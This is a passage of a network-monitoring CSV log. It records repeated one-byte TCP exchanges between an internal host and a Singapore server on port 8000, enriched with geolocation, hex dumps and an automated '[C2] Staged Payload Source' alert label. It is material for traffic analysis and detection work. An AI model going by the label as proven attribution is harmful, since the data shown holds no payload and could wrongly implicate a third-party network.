(Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45566, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15872, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548652, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6511, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:13.954092,1235,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548653,bc2411360d0cbc24112907bb080045000034b035400040067fbec0a3a7890a98980b1f40fa75391c889b07e6882d8010003f0af700000101050a07e6882c07e6882d,\".$.6\n..$.)....E..4.5@.@.......\n....@.u9......-...?\n......\n...,...-\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45109, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32702, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548653, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548652, 132548653))]\"\"}}]\"\n2026-07-01 09:15:14.969516,1236,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548652 Ack=958171291,bc24112907bbbc2411360d0c080045000029b1ff400080063dff0a98980bc0a3a789fa751f4007e6882c391c889b50102014196f000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45567, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15871, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548652, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6511, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:14.969533,1237,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548653,bc2411360d0cbc24112907bb080045000034b036400040067fbdc0a3a7890a98980b1f40fa75391c889b07e6882d8010003f0af700000101050a07e6882c07e6882d,\".$.6\n..$.)....E..4.6@.@.......\n....@.u9......-...?\n......\n...,...-\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45110, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32701, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548653, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548652, 132548653))]\"\"}}]\"\n2026-07-01 09:15:15.969558,1238,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548652 Ack=958171291,bc24112907bbbc2411360d0c080045000029b200400080063dfe0a98980bc0a3a789fa751f4007e6882c391c889b50102014196f000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45568, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15870, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548652, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6511, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:15.969601,1239,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548653,bc2411360d0cbc24112907bb080045000034b037400040067fbcc0a3a7890a98980b1f40fa75391c889b07e6882d8010003f0af700000101050a07e6882c07e6882d,\".$.6\n..$.)....E..4.7@.@.......\n....@.u9......-...?\n......\n...,...-\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45111, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32700, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548653, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548652, 132548653))]\"\"}}]\"\n2026-07-01 09:15:16.969587,1240,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548652 Ack=958171291,bc24112907bbbc2411360d0c080045000029b201400080063dfd0a98980bc0a3a789fa751f4007e6882c391c889b50102014196f000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45569, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15869, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548652, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6511, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:16.969622,1241,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548653,bc2411360d0cbc24112907bb080045000034b038400040067fbbc0a3a7890a98980b1f40fa75391c889b07e6882d8010003f0af700000101050a07e6882c07e6882d,\".$.6\n..$.)....E..4.8@.@.......\n....@.u9......-...?\n......\n...,...-\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45112, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32699, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548653, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548652, 132548653))]\"\"}}]\"\n2026-07-01 09:15:17.969715,1242,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548652 Ack=958171291,bc24112907bbbc2411360d0c080045000029b202400080063dfc0a98980bc0a3a789fa751f4007e6882c391c889b50102014196f000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45570, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15868, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548652, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6511, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:17.969750,1243,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548653,bc2411360d0cbc24112907bb080045000034b039400040067fbac0a3a7890a98980b1f40fa75391c889b07e6882d8010003f0af700000101050a07e6882c07e6882d,\".$.6\n..$.)....E..4.9@.@.......\n....@.u9......-...?\n......\n...,...-\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45113, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32698, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548653, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548652, 132548653))]\"\"}}]\"\n2026-07-01 09:15:18.969716,1244,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548652 Ack=958171291,bc24112907bbbc2411360d0c080045000029b203400080063dfb0a98980bc0a3a789fa751f4007e6882c391c889b50102014196f000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45571, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15867, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548652, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6511, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:18.969753,1245,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548653,bc2411360d0cbc24112907bb080045000034b03a400040067fb9c0a3a7890a98980b1f40fa75391c889b07e6882d8010003f0af700000101050a07e6882c07e6882d,\".$.6\n..$.)....E..4.:@.@.......\n....@.u9......-...?\n......\n...,...-\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45114, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32697, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548653, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548652, 132548653))]\"\"}}]\"\n2026-07-01 09:15:19.985277,1246,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548652 Ack=958171291,bc24112907bbbc2411360d0c080045000029b204400080063dfa0a98980bc0a3a789fa751f4007e6882c391c889b50102014196f000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45572, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15866, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548652, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6511, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:19.985300,1247,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548653,bc2411360d0cbc24112907bb080045000034b03b400040067fb8c0a3a7890a98980b1f40fa75391c889b07e6882d8010003f0af700000101050a07e6882c07e6882d,\".$.6\n..$.)....E..4.;@.@.......\n....@.u9......-...?\n......\n...,...-\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45115, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32696, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548653, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548652, 132548653))]\"\"}}]\"\n2026-07-01 09:15:21.000911,1248,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548652 Ack=958171291,bc24112907bbbc2411360d0c080045000029b205400080063df90a98980bc0a3a789fa751f4007e6882c391c889b50102014196f000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45573, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15865, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548652, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6511, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:21.000945,1249,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548653,bc2411360d0cbc24112907bb080045000034b03c400040067fb7c0a3a7890a98980b1f40fa75391c889b07e6882d8010003f0af700000101050a07e6882c07e6882d,\".$.6\n..$.)....E..4.<@.@.......\n....@.u9......-...?\n......\n...,...-\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45116, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32695, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548653, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548652, 132548653))]\"\"}}]\"\n2026-07-01 09:15:22.016580,1250,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548652 Ack=958171291,bc24112907bbbc2411360d0c080045000029b206400080063df80a98980bc0a3a789fa751f4007e6882c391c889b50102014196f000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45574, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15864, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548652, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6511, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:22.016615,1251,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 